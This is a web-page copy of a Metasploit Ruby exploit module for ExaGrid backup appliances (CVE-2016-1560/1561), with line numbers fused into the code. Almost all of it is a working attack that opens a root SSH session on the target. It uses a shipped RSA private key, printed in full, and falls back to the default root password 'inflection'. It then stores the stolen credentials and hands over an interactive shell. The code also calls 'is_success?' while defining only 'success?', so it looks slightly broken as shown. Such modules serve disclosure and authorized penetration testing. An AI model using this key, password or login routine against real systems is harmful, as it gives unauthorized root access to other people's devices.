Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/ssh/exagrid_known_privkey.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Auxiliary::Report12include Msf::Exploit::Remote::SSH1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'ExaGrid Known SSH Key and Default Password',20'Description' => %q{21ExaGrid ships a public/private key pair on their backup appliances to22allow passwordless authentication to other ExaGrid appliances. Since23the private key is easily retrievable, an attacker can use it to gain24unauthorized remote access as root. Additionally, this module will25attempt to use the default password for root, 'inflection'.26},27'Platform' => 'unix',28'Arch' => ARCH_CMD,29'Privileged' => true,30'Targets' => [ [ 'Universal', {} ] ],31'Payload' => {32'Compat' => {33'PayloadType' => 'cmd_interact',34'ConnectionType' => 'find'35}36},37'Author' => ['egypt'],38'License' => MSF_LICENSE,39'References' => [40[ 'CVE', '2016-1560' ], # password41[ 'CVE', '2016-1561' ], # private key42[ 'URL', 'https://www.rapid7.com/blog/post/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ]43],44'DisclosureDate' => '2016-04-07',45'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },46'DefaultTarget' => 0,47'Notes' => {48'Stability' => [CRASH_SAFE],49'Reliability' => [REPEATABLE_SESSION],50'SideEffects' => []51}52}53)54)5556register_options(57[58# Since we don't include Tcp, we have to register this manually59Opt::RHOST(),60Opt::RPORT(22)61], self.class62)6364register_advanced_options(65[66OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),67OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])68]69)70end7172# helper methods that normally come from Tcp73def rhost74datastore['RHOST']75end7677def rport78datastore['RPORT']79end8081def do_login(ssh_options)82begin83ssh_socket = nil84::Timeout.timeout(datastore['SSH_TIMEOUT']) do85ssh_socket = Net::SSH.start(rhost, 'root', ssh_options)86end87rescue Rex::ConnectionError88return89rescue Net::SSH::Disconnect, ::EOFError90print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"91return92rescue ::Timeout::Error93print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"94return95rescue Net::SSH::AuthenticationFailed96print_error "#{rhost}:#{rport} SSH - Failed authentication"97rescue Net::SSH::Exception => e98print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"99return100end101102if ssh_socket103104# Create a new session from the socket, then dump it.105conn = Net::SSH::CommandStream.new(ssh_socket)106ssh_socket = nil107108return conn109else110return false111end112end113114# Ghetto hack to prevent the shell detection logic from hitting false115# negatives due to weirdness with ssh sockets. We already know it's a shell116# because auth succeeded by this point, so no need to do the check anyway.117module TrustMeItsAShell118def _check_shell(*_args)119true120end121end122123def exploit124payload_instance.extend(TrustMeItsAShell)125126ssh_options = ssh_client_defaults.merge({127auth_methods: ['publickey'],128key_data: [ key_data ],129port: rport130})131ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']132133conn = do_login(ssh_options)134135unless is_success?(conn, true)136ssh_options[:auth_methods] = ['password']137ssh_options[:password] = 'inflection'138ssh_options.delete(:key_data)139conn = do_login(ssh_options)140is_success?(conn, false)141end142end143144def success?(conn, key_based)145if conn146print_good 'Successful login'147service_data = {148address: rhost,149port: rport,150protocol: 'tcp',151service_name: 'ssh',152workspace_id: myworkspace_id153}154credential_data = {155username: 'root',156private_type: (key_based ? :ssh_key : :password),157private_data: (key_based ? key_data : 'inflection'),158origin_type: :service,159module_fullname: fullname160}.merge(service_data)161162core = create_credential(credential_data)163login_data = {164core: core,165last_attempted: Time.now166}.merge(service_data)167168create_credential_login(login_data)169170handler(conn.lsock)171true172else173false174end175end176177def key_data178<<~EOF179-----BEGIN RSA PRIVATE KEY-----180MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10181hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa182E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA183GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ184BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg185AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y186iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs187Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj188QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz189ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG190XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk19186DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y192x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==193-----END RSA PRIVATE KEY-----194EOF195end196end197198199